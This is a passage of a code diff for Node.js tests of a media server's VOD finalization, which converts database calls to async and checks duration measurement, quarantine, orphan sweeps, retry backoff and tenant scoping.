assert.deepStrictEqual(c({}), { seconds: 0, source: 'unknown', issues: ['probe_failed'] }, 'nothing measured: 0, unknown');++ const inflated = c({ probeS: 86400, remuxS: 600 });++ assert.deepStrictEqual([inflated.seconds, inflated.source], [600, 'remux'], 'a header far longer than the packets is corrupt');++ assert.ok(inflated.issues.includes('inflated_container_duration'));++ const bounded = c({ probeS: 5000, remuxS: 0, wallS: 600 });++ assert.deepStrictEqual([bounded.seconds, bounded.source], [0, 'unknown'], 'longer than the recorder ran: refused, and the wall clock is NOT used');++ assert.ok(bounded.issues.includes('inflated_duration'));++ assert.strictEqual(c({ probeS: 5000, remuxS: 590, wallS: 600 }).source, 'remux', 'the plausible measurement wins');++ assert.strictEqual(c({ probeS: 172800 }).seconds, 172800, 'no start time (orphan): no bound either, only measurements');++ assert.strictEqual(tools.lastProgressSeconds('frame=1 time=00:00:01.00 x\rframe=2 time=01:02:03.50 bitrate'), 3723.5);++ assert.strictEqual(tools.lastProgressSeconds('time=N/A'), 0);++ console.log('✅ chooseDuration: probe, else the packet timeline, else 0/unknown; bounded by the recorder run; never the wall clock');}-- // ── 3. Orphans (no start time) never use now - created_at; a bound applies only with a real start ──-- {-- const file = path.join(process.env.VOD_PATH, 'orphan.mp4');-- fs.writeFileSync(file, Buffer.alloc(20000, 1));-- const id = makeVod(file, { createdAt: daysAgo(3) });-- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 3601.2, error: null });-- tools.probeDuration = async () => ({ ok: true, seconds: 3600.8, format: {}, streams: [], error: null });-- await finalize.finalizeVod(id);-- const v = row(id);-- assert.deepStrictEqual([v.duration_seconds, v.duration_source], [3601, 'probe'], 'orphan: the measured length, not 3 days');---- const file2 = path.join(process.env.VOD_PATH, 'inflated.mp4');-- fs.writeFileSync(file2, Buffer.alloc(20000, 2));-- const id2 = makeVod(file2);-- tools.probeDuration = async () => ({ ok: true, seconds: 50000, format: {}, streams: [], error: null });-- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 50000, error: null });-- await finalize.finalizeVod(id2, { startTimeMs: Date.now() - 600 * 1000 });-- const w = row(id2);-- assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [0, 'unknown', 'needs_review'],-- 'longer than the recorder ran: 0 and review, where the old code stored the wall clock');-- assert.ok(JSON.parse(w.health_issues_json).includes('inflated_duration'));---- const file3 = path.join(process.env.VOD_PATH, 'header.mp4');-- fs.writeFileSync(file3, Buffer.alloc(20000, 3));-- const id3 = makeVod(file3);-- tools.probeDuration = async () => ({ ok: true, seconds: 90000, format: {}, streams: [], error: null });-- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 581, error: null });-- await finalize.finalizeVod(id3, { startTimeMs: Date.now() - 600 * 1000 });-- assert.deepStrictEqual([row(id3).duration_seconds, row(id3).duration_source, row(id3).health_status], [581, 'remux', 'ok'], 'the packet timeline when the header lies');-- restore();-- console.log('✅ orphans are measured, never now - created_at; impossible values need review; a lying header yields to the packets');-- }++ const db = require('../server/db/database');++ const finalize = require('../server/vod/finalize');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- // ── 4. Short, corrupt and stat-failure paths also drop the wall-clock estimate ──-- {-- const file = path.join(process.env.VOD_PATH, 'short.mp4');-- fs.writeFileSync(file, Buffer.alloc(20000, 4));-- const id = makeVod(file);-- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 1, error: null });-- tools.probeDuration = async () => ({ ok: true, seconds: 1, format: {}, streams: [], error: null });-- await finalize.finalizeVod(id);-- assert.deepStrictEqual([row(id).duration_seconds, row(id).duration_source, row(id).health_status], [1, 'probe', 'needs_review']);---- const file2 = path.join(process.env.VOD_PATH, 'corrupt.mp4');-- fs.writeFileSync(file2, Buffer.alloc(20000, 5));-- const id2 = makeVod(file2);-- tools.probeDuration = async () => ({ ok: true, seconds: 42, format: {}, streams: [], error: null });-- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 42, error: null });-- await finalize.finalizeVod(id2, { ffmpegCorrupted: true });-- assert.deepStrictEqual([row(id2).duration_seconds, row(id2).duration_source, row(id2).health_status], [42, 'probe', 'corrupt'],-- 'the corrupt path stores the measurement, not the live estimate');---- const file3 = path.join(process.env.VOD_PATH, 'vanishing.mp4');-- fs.writeFileSync(file3, Buffer.alloc(20000, 6));-- const id3 = makeVod(file3);-- tools.probeDuration = async (p) => { if (p === file3) { try { fs.unlinkSync(file3); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };-- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 300, error: null });-- await finalize.finalizeVod(id3);-- const v3 = row(id3);-- assert.deepStrictEqual([v3.is_recording, v3.duration_seconds, v3.duration_source, v3.health_status], [0, 0, 'unknown', 'needs_review']);-- assert.ok(JSON.parse(v3.health_issues_json).includes('stat_failed'));-- restore();-- console.log('✅ short, corrupt and stat-failure outcomes never keep the wall-clock estimate');-- }++ const cols = (await db.all("SELECT column_name AS name FROM information_schema.columns WHERE table_schema = current_schema() AND table_name = 'vods'")).map(c => c.name);++ assert.ok(cols.includes('duration_source'), 'vods.duration_source exists');-- // ── 5. Real ffmpeg: an orphaned 6 s recording made 2 days ago finalizes to ~6 s (probe) ──-- if (spawnSync('ffmpeg', ['-version']).status !== 0) {-- console.log('real-file finalize check: skipped (ffmpeg not found)');-- } else {-- const file = path.join(process.env.VOD_PATH, 'real.mp4');-- const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10',-- '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6', '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest',-- '-movflags', '+frag_keyframe+empty_moov+default_base_moof', '-f', 'mp4', file]);-- assert.strictEqual(mk.status, 0, String(mk.stderr));-- const id = makeVod(file, { createdAt: daysAgo(2) });-- await finalize.finalizeVod(id);-- const v = row(id);-- assert.ok(v.duration_seconds >= 5 && v.duration_seconds <= 7, `measured ${v.duration_seconds}s`);-- assert.strictEqual(v.duration_source, 'probe');-- assert.strictEqual(v.health_status, 'ok');-- const packets = await tools.streamCopyDuration(file);-- assert.ok(packets.ok && packets.seconds > 5 && packets.seconds < 7, `stream-copy pass measured ${packets.seconds}`);-- const pr = await tools.probeDuration(path.join(tmp, 'nope.mp4'));-- assert.strictEqual(pr.ok, false, 'an unreadable source is a failed probe, not a zero-length one');-- console.log('✅ a real orphaned recording finalizes to its measured length (probe), and the packet pass agrees');++ const daysAgo = (d) => new Date(Date.now() - d * 864e5).toISOString().replace('T', ' ').slice(0, 19);++ async function makeVod(file, { createdAt = daysAgo(2), wallDuration = 99999 } = {}) {++ const r = await db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, created_at, is_public, visibility)++ VALUES ('live', 7, 'rec', ?, 1, ?, ?, 1, 'public') RETURNING id`, [file, wallDuration, createdAt]);++ return Number(r.lastInsertRowid);}---- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All VOD duration tests passed');++ const row = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);++++ const realTools = { ...tools };++ function restore() { Object.assign(tools, realTools); }++++ (async () => {++ // ── 2. Probe failure: 0 + needs_review + hidden; the live wall-clock estimate is not kept ──++ {++ const file = path.join(process.env.VOD_PATH, 'garbage.mp4');++ fs.writeFileSync(file, Buffer.alloc(20000, 7));++ const id = await makeVod(file);++ tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });++ tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });++ tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });++ await finalize.finalizeVod(id);++ const v = await row(id);++ assert.strictEqual(v.duration_seconds, 0, 'probe failure stores 0, not the recorder\'s wall-clock estimate');++ assert.strictEqual(v.duration_source, 'unknown');++ assert.strictEqual(v.health_status, 'needs_review');++ const issues = JSON.parse(v.health_issues_json);++ assert.ok(issues.includes('probe_failed') && issues.includes('remux_failed'), `issues: ${issues}`);++ assert.strictEqual(v.is_recording, 0);++ assert.strictEqual(v.is_public, 0, 'hidden until reviewed');++ assert.ok(v.quarantined_at);++++ // A later finalize that can measure it lifts the quarantine (the vod.finalize retry job does this).++ tools.probeDuration = async () => ({ ok: true, seconds: 1234.4, format: { format_name: 'mp4' }, streams: [], error: null });++ await finalize.finalizeVod(id);++ const w = await row(id);++ assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [1234, 'probe', 'ok']);++ assert.strictEqual(w.quarantined_at, null, 'quarantine lifted');++ assert.strictEqual(w.is_public, 1, 'back to the visibility its owner chose');++ restore();++ console.log('✅ probe failure: duration 0, duration_source unknown, needs_review, hidden; a later good finalize lifts it');++ }++++ // ── 3. Orphans (no start time) never use now - created_at; a bound applies only with a real start ──++ {++ const file = path.join(process.env.VOD_PATH, 'orphan.mp4');++ fs.writeFileSync(file, Buffer.alloc(20000, 1));++ const id = await makeVod(file, { createdAt: daysAgo(3) });++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 3601.2, error: null });++ tools.probeDuration = async () => ({ ok: true, seconds: 3600.8, format: {}, streams: [], error: null });++ await finalize.finalizeVod(id);++ const v = await row(id);++ assert.deepStrictEqual([v.duration_seconds, v.duration_source], [3601, 'probe'], 'orphan: the measured length, not 3 days');++++ const file2 = path.join(process.env.VOD_PATH, 'inflated.mp4');++ fs.writeFileSync(file2, Buffer.alloc(20000, 2));++ const id2 = await makeVod(file2);++ tools.probeDuration = async () => ({ ok: true, seconds: 50000, format: {}, streams: [], error: null });++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 50000, error: null });++ await finalize.finalizeVod(id2, { startTimeMs: Date.now() - 600 * 1000 });++ const w = await row(id2);++ assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [0, 'unknown', 'needs_review'],++ 'longer than the recorder ran: 0 and review, where the old code stored the wall clock');++ assert.ok(JSON.parse(w.health_issues_json).includes('inflated_duration'));++++ const file3 = path.join(process.env.VOD_PATH, 'header.mp4');++ fs.writeFileSync(file3, Buffer.alloc(20000, 3));++ const id3 = await makeVod(file3);++ tools.probeDuration = async () => ({ ok: true, seconds: 90000, format: {}, streams: [], error: null });++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 581, error: null });++ await finalize.finalizeVod(id3, { startTimeMs: Date.now() - 600 * 1000 });++ assert.deepStrictEqual([(await row(id3)).duration_seconds, (await row(id3)).duration_source, (await row(id3)).health_status], [581, 'remux', 'ok'], 'the packet timeline when the header lies');++ restore();++ console.log('✅ orphans are measured, never now - created_at; impossible values need review; a lying header yields to the packets');++ }++++ // ── 4. Short, corrupt and stat-failure paths also drop the wall-clock estimate ──++ {++ const file = path.join(process.env.VOD_PATH, 'short.mp4');++ fs.writeFileSync(file, Buffer.alloc(20000, 4));++ const id = await makeVod(file);++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 1, error: null });++ tools.probeDuration = async () => ({ ok: true, seconds: 1, format: {}, streams: [], error: null });++ await finalize.finalizeVod(id);++ assert.deepStrictEqual([(await row(id)).duration_seconds, (await row(id)).duration_source, (await row(id)).health_status], [1, 'probe', 'needs_review']);++++ const file2 = path.join(process.env.VOD_PATH, 'corrupt.mp4');++ fs.writeFileSync(file2, Buffer.alloc(20000, 5));++ const id2 = await makeVod(file2);++ tools.probeDuration = async () => ({ ok: true, seconds: 42, format: {}, streams: [], error: null });++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 42, error: null });++ await finalize.finalizeVod(id2, { ffmpegCorrupted: true });++ assert.deepStrictEqual([(await row(id2)).duration_seconds, (await row(id2)).duration_source, (await row(id2)).health_status], [42, 'probe', 'corrupt'],++ 'the corrupt path stores the measurement, not the live estimate');++++ const file3 = path.join(process.env.VOD_PATH, 'vanishing.mp4');++ fs.writeFileSync(file3, Buffer.alloc(20000, 6));++ const id3 = await makeVod(file3);++ tools.probeDuration = async (p) => { if (p === file3) { try { fs.unlinkSync(file3); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 300, error: null });++ await finalize.finalizeVod(id3);++ const v3 = await row(id3);++ assert.deepStrictEqual([v3.is_recording, v3.duration_seconds, v3.duration_source, v3.health_status], [0, 0, 'unknown', 'needs_review']);++ assert.ok(JSON.parse(v3.health_issues_json).includes('stat_failed'));++ restore();++ console.log('✅ short, corrupt and stat-failure outcomes never keep the wall-clock estimate');++ }++++ // ── 5. Real ffmpeg: an orphaned 6 s recording made 2 days ago finalizes to ~6 s (probe) ──++ if (spawnSync('ffmpeg', ['-version']).status !== 0) {++ console.log('real-file finalize check: skipped (ffmpeg not found)');++ } else {++ const file = path.join(process.env.VOD_PATH, 'real.mp4');++ const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10',++ '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6', '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest',++ '-movflags', '+frag_keyframe+empty_moov+default_base_moof', '-f', 'mp4', file]);++ assert.strictEqual(mk.status, 0, String(mk.stderr));++ const id = await makeVod(file, { createdAt: daysAgo(2) });++ await finalize.finalizeVod(id);++ const v = await row(id);++ assert.ok(v.duration_seconds >= 5 && v.duration_seconds <= 7, `measured ${v.duration_seconds}s`);++ assert.strictEqual(v.duration_source, 'probe');++ assert.strictEqual(v.health_status, 'ok');++ const packets = await tools.streamCopyDuration(file);++ assert.ok(packets.ok && packets.seconds > 5 && packets.seconds < 7, `stream-copy pass measured ${packets.seconds}`);++ const pr = await tools.probeDuration(path.join(tmp, 'nope.mp4'));++ assert.strictEqual(pr.ok, false, 'an unreadable source is a failed probe, not a zero-length one');++ console.log('✅ a real orphaned recording finalizes to its measured length (probe), and the packet pass agrees');++ }++++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All VOD duration tests passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -9,148 +9,150 @@ const fs = require('fs');const os = require('os');const path = require('path');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-finalize-job-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.FILES_PATH = dir('files');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-finalize-job-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.FILES_PATH = dir('files');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';--const db = require('../server/db/database');--const queue = require('../server/jobs/queue');--const worker = require('../server/jobs/worker');--const job = require('../server/jobs/vod-finalize');--const tools = require('../server/vod/media-tools');--const recorder = require('../server/vod/recorder');--const vodRoutes = require('../server/vod/routes');++ const db = require('../server/db/database');++ const queue = require('../server/jobs/queue');++ const worker = require('../server/jobs/worker');++ const job = require('../server/jobs/vod-finalize');++ const tools = require('../server/vod/media-tools');++ const recorder = require('../server/vod/recorder');++ const vodRoutes = require('../server/vod/routes');--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--db.upsertApp({ app_id: 'games', api_key: 'games-key' });++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });--const realTools = { ...tools };--const restore = () => Object.assign(tools, realTools);--const measurable = (s = 1800) => {-- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: s, error: null });-- tools.probeDuration = async () => ({ ok: true, seconds: s, format: {}, streams: [], error: null });--};--const unmeasurable = () => {-- tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });-- tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });-- tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });--};++ const realTools = { ...tools };++ const restore = () => Object.assign(tools, realTools);++ const measurable = (s = 1800) => {++ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: s, error: null });++ tools.probeDuration = async () => ({ ok: true, seconds: s, format: {}, streams: [], error: null });++ };++ const unmeasurable = () => {++ tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });++ tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });++ tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });++ };--function makeVod(name, { idleS = 3600, app = 'live' } = {}) {-- const file = path.join(process.env.VOD_PATH, name);-- fs.writeFileSync(file, Buffer.alloc(30000, 9));-- const t = (Date.now() - idleS * 1000) / 1000;-- fs.utimesSync(file, t, t);-- const r = db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, is_public, visibility, created_at)-- VALUES (?, 1, 'rec', ?, 1, 77777, 1, 'public', datetime('now', '-2 days'))`, [app, file]);-- return Number(r.lastInsertRowid);--}--const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);--const jobsFor = (id) => db.all("SELECT * FROM media_jobs WHERE job_type = 'vod.finalize' AND json_extract(params, '$.vod_id') = ? ORDER BY id", [id]);++ async function makeVod(name, { idleS = 3600, app = 'live' } = {}) {++ const file = path.join(process.env.VOD_PATH, name);++ fs.writeFileSync(file, Buffer.alloc(30000, 9));++ const t = (Date.now() - idleS * 1000) / 1000;++ fs.utimesSync(file, t, t);++ const r = await db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, is_public, visibility, created_at)++ VALUES (?, 1, 'rec', ?, 1, 77777, 1, 'public', datetime('now', '-2 days')) RETURNING id`, [app, file]);++ return Number(r.lastInsertRowid);++ }++ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);++ const jobsFor = async (id) => await db.all("SELECT * FROM media_jobs WHERE job_type = 'vod.finalize' AND json_extract(params, '$.vod_id') = ? ORDER BY id", [id]);--(async () => {-- assert.ok(queue.typeNames().includes('vod.finalize'));-- assert.strictEqual(queue.typeSpec('vod.finalize').lane, 'finalize');++ (async () => {++ assert.ok(queue.typeNames().includes('vod.finalize'));++ assert.strictEqual(queue.typeSpec('vod.finalize').lane, 'finalize');-- // ── 1. The orphan sweep: idle orphans only; live recordings, chunk uploads and fresh files are left alone ──-- const idle = makeVod('idle.mp4');-- const fresh = makeVod('fresh.mp4', { idleS: 10 });-- const live = makeVod('live.mp4');-- const chunked = makeVod('chunked.webm');-- recorder.activeRecordings.set(live, { vodId: live });-- vodRoutes.activeChunkUploads.set(chunked, { filePath: 'x' });-- assert.deepStrictEqual(job.orphans(), [idle], 'only the idle orphan');-- assert.strictEqual(job.sweepOrphans({ force: true }), 1);-- assert.strictEqual(job.sweepOrphans({ force: true }), 0, 'a queued finalize is joined, not repeated');-- const [j1] = jobsFor(idle);-- assert.strictEqual(j1.created_by, 'system:vod.finalize:orphan');-- assert.strictEqual(j1.app_id, 'live');-- assert.ok(job.orphans({ grace: 1000 }).includes(fresh), 'a file idle past the grace is an orphan');-- console.log('✅ orphan sweep: idle recordings nothing holds are queued once; live, chunk-upload and fresh ones are not');++ // ── 1. The orphan sweep: idle orphans only; live recordings, chunk uploads and fresh files are left alone ──++ const idle = await makeVod('idle.mp4');++ const fresh = await makeVod('fresh.mp4', { idleS: 10 });++ const live = await makeVod('live.mp4');++ const chunked = await makeVod('chunked.webm');++ recorder.activeRecordings.set(live, { vodId: live });++ vodRoutes.activeChunkUploads.set(chunked, { filePath: 'x' });++ assert.deepStrictEqual(await job.orphans(), [idle], 'only the idle orphan');++ assert.strictEqual(await job.sweepOrphans({ force: true }), 1);++ assert.strictEqual(await job.sweepOrphans({ force: true }), 0, 'a queued finalize is joined, not repeated');++ const [j1] = await jobsFor(idle);++ assert.strictEqual(j1.created_by, 'system:vod.finalize:orphan');++ assert.strictEqual(j1.app_id, 'live');++ assert.ok((await job.orphans({ grace: 1000 })).includes(fresh), 'a file idle past the grace is an orphan');++ console.log('✅ orphan sweep: idle recordings nothing holds are queued once; live, chunk-upload and fresh ones are not');-- // ── 2. Running it finalizes from the measured file ──-- measurable(1800.2);-- const done = await worker.runNow(j1.id);-- assert.strictEqual(done.status, 'succeeded');-- const res = JSON.parse(done.result);-- assert.deepStrictEqual([res.outcome, res.duration_seconds, res.duration_source], ['ready', 1800, 'probe']);-- assert.deepStrictEqual([vod(idle).is_recording, vod(idle).duration_seconds, vod(idle).health_status], [0, 1800, 'ok']);-- console.log('✅ vod.finalize settles an orphan to its measured duration');++ // ── 2. Running it finalizes from the measured file ──++ measurable(1800.2);++ const done = await worker.runNow(j1.id);++ assert.strictEqual(done.status, 'succeeded');++ const res = JSON.parse(done.result);++ assert.deepStrictEqual([res.outcome, res.duration_seconds, res.duration_source], ['ready', 1800, 'probe']);++ assert.deepStrictEqual([(await vod(idle)).is_recording, (await vod(idle)).duration_seconds, (await vod(idle)).health_status], [0, 1800, 'ok']);++ console.log('✅ vod.finalize settles an orphan to its measured duration');-- // ── 3. A finalize that cannot measure queues a retry (5 min out); the job retries with backoff ──-- unmeasurable();-- const bad = makeVod('bad.mp4');-- await require('../server/vod/finalize').finalizeVod(bad);-- assert.strictEqual(vod(bad).health_status, 'needs_review');-- let js = jobsFor(bad);-- assert.strictEqual(js.length, 1, 'one retry queued');-- assert.strictEqual(js[0].created_by, 'system:vod.finalize:probe_failed');-- const due = db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [js[0].id]).s;-- assert.ok(due > 250 && due <= 301, `first retry in ~5 minutes (${due})`);-- let r = await worker.runNow(js[0].id);-- assert.strictEqual(r.status, 'queued', 'still unmeasurable: back in the queue');-- assert.strictEqual(r.error_code, 'unmeasurable');-- assert.strictEqual(r.attempts, 1);-- assert.strictEqual(jobsFor(bad).length, 1, 'the job does not queue more of itself');-- const wait = db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [r.id]).s;-- assert.ok(wait > 250 && wait <= 301, `backoff after attempt 1 is 5 minutes (${wait})`);-- assert.deepStrictEqual([job.backoffS(1), job.backoffS(2), job.backoffS(3), job.backoffS(6)], [300, 900, 2700, 21600]);-- measurable(610);-- r = await worker.runNow(r.id);-- assert.strictEqual(r.status, 'succeeded');-- const v = vod(bad);-- assert.deepStrictEqual([v.duration_seconds, v.health_status, v.is_public, v.quarantined_at], [610, 'ok', 1, null], 'measured, un-quarantined');-- console.log('✅ unmeasurable finalize → retry job (5 min), retried with backoff, settles once the file measures');++ // ── 3. A finalize that cannot measure queues a retry (5 min out); the job retries with backoff ──++ unmeasurable();++ const bad = await makeVod('bad.mp4');++ await require('../server/vod/finalize').finalizeVod(bad);++ assert.strictEqual((await vod(bad)).health_status, 'needs_review');++ let js = await jobsFor(bad);++ assert.strictEqual(js.length, 1, 'one retry queued');++ assert.strictEqual(js[0].created_by, 'system:vod.finalize:probe_failed');++ const due = (await db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [js[0].id])).s;++ assert.ok(due > 250 && due <= 301, `first retry in ~5 minutes (${due})`);++ let r = await worker.runNow(js[0].id);++ assert.strictEqual(r.status, 'queued', 'still unmeasurable: back in the queue');++ assert.strictEqual(r.error_code, 'unmeasurable');++ assert.strictEqual(r.attempts, 1);++ assert.strictEqual((await jobsFor(bad)).length, 1, 'the job does not queue more of itself');++ const wait = (await db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [r.id])).s;++ assert.ok(wait > 250 && wait <= 301, `backoff after attempt 1 is 5 minutes (${wait})`);++ assert.deepStrictEqual([job.backoffS(1), job.backoffS(2), job.backoffS(3), job.backoffS(6)], [300, 900, 2700, 21600]);++ measurable(610);++ r = await worker.runNow(r.id);++ assert.strictEqual(r.status, 'succeeded');++ const v = await vod(bad);++ assert.deepStrictEqual([v.duration_seconds, v.health_status, v.is_public, v.quarantined_at], [610, 'ok', 1, null], 'measured, un-quarantined');++ console.log('✅ unmeasurable finalize → retry job (5 min), retried with backoff, settles once the file measures');-- // ── 4. Stat failure and a thrown finalize queue a retry too (not just is_recording = 0) ──-- const gone = makeVod('gone.mp4');-- tools.probeDuration = async (p) => { if (p.endsWith('gone.mp4')) { try { fs.unlinkSync(p); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };-- await require('../server/vod/finalize').finalizeVod(gone);-- assert.deepStrictEqual(jobsFor(gone).map(j => j.created_by), ['system:vod.finalize:stat_failed']);-- const thrower = makeVod('thrower.mp4');-- tools.remuxForSeekingDetailed = async () => { throw new Error('boom'); };-- await assert.rejects(require('../server/vod/finalize').finalizeVod(thrower), /boom/);-- assert.deepStrictEqual(jobsFor(thrower).map(j => j.created_by), ['system:vod.finalize:finalize_failed']);-- assert.strictEqual(vod(thrower).is_recording, 1, 'still unsettled, and the job knows it');-- measurable(95);-- const tr = await worker.runNow(jobsFor(thrower)[0].id);-- assert.strictEqual(tr.status, 'succeeded');-- assert.strictEqual(vod(thrower).duration_seconds, 95);-- console.log('✅ a stat failure or a thrown finalize queues vod.finalize, which settles it later');++ // ── 4. Stat failure and a thrown finalize queue a retry too (not just is_recording = 0) ──++ const gone = await makeVod('gone.mp4');++ tools.probeDuration = async (p) => { if (p.endsWith('gone.mp4')) { try { fs.unlinkSync(p); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };++ await require('../server/vod/finalize').finalizeVod(gone);++ assert.deepStrictEqual((await jobsFor(gone)).map(j => j.created_by), ['system:vod.finalize:stat_failed']);++ const thrower = await makeVod('thrower.mp4');++ tools.remuxForSeekingDetailed = async () => { throw new Error('boom'); };++ await assert.rejects(require('../server/vod/finalize').finalizeVod(thrower), /boom/);++ assert.deepStrictEqual((await jobsFor(thrower)).map(j => j.created_by), ['system:vod.finalize:finalize_failed']);++ assert.strictEqual((await vod(thrower)).is_recording, 1, 'still unsettled, and the job knows it');++ measurable(95);++ const tr = await worker.runNow((await jobsFor(thrower))[0].id);++ assert.strictEqual(tr.status, 'succeeded');++ assert.strictEqual((await vod(thrower)).duration_seconds, 95);++ console.log('✅ a stat failure or a thrown finalize queues vod.finalize, which settles it later');-- // ── 5. Never touches a live recording; out of attempts the VOD waits for a person ──-- const jl = queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: live }, createdBy: 'test' }).job;-- const lr = await worker.runNow(jl.id);-- assert.strictEqual(JSON.parse(lr.result).outcome, 'skipped');-- assert.strictEqual(vod(live).is_recording, 1, 'the recording keeps going');-- recorder.activeRecordings.delete(live);-- vodRoutes.activeChunkUploads.delete(chunked);++ // ── 5. Never touches a live recording; out of attempts the VOD waits for a person ──++ const jl = (await queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: live }, createdBy: 'test' })).job;++ const lr = await worker.runNow(jl.id);++ assert.strictEqual(JSON.parse(lr.result).outcome, 'skipped');++ assert.strictEqual((await vod(live)).is_recording, 1, 'the recording keeps going');++ recorder.activeRecordings.delete(live);++ vodRoutes.activeChunkUploads.delete(chunked);-- unmeasurable();-- const last = makeVod('last.mp4');-- const jlast = queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: last }, createdBy: 'test', maxAttempts: 1 }).job;-- const out = await worker.runNow(jlast.id);-- assert.deepStrictEqual([out.status, out.error_code], ['failed', 'unmeasurable']);-- assert.deepStrictEqual([vod(last).is_recording, vod(last).duration_seconds, vod(last).health_status, vod(last).is_public], [0, 0, 'needs_review', 0]);-- restore();-- console.log('✅ a live recording is never finalized by the job; out of attempts the VOD stays needs_review, hidden');++ unmeasurable();++ const last = await makeVod('last.mp4');++ const jlast = (await queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: last }, createdBy: 'test', maxAttempts: 1 })).job;++ const out = await worker.runNow(jlast.id);++ assert.deepStrictEqual([out.status, out.error_code], ['failed', 'unmeasurable']);++ assert.deepStrictEqual([(await vod(last)).is_recording, (await vod(last)).duration_seconds, (await vod(last)).health_status, (await vod(last)).is_public], [0, 0, 'needs_review', 0]);++ restore();++ console.log('✅ a live recording is never finalized by the job; out of attempts the VOD stays needs_review, hidden');-- // ── 6. API validation: the VOD must be the tenant's ──-- const gv = makeVod('games.mp4', { app: 'games' });-- assert.throws(() => job.spec.validate({ appId: 'live', obj: null, params: { vod_id: gv } }), (e) => e.code === 'media.job.not_found');-- assert.deepStrictEqual(job.spec.validate({ appId: 'games', obj: null, params: { vod_id: gv } }), { vod_id: gv });-- assert.throws(() => job.spec.validate({ appId: 'games', obj: null, params: {} }), (e) => e.code === 'media.job.invalid');-- console.log('✅ vod.finalize through the jobs API is scoped to the tenant\'s own VODs');++ // ── 6. API validation: the VOD 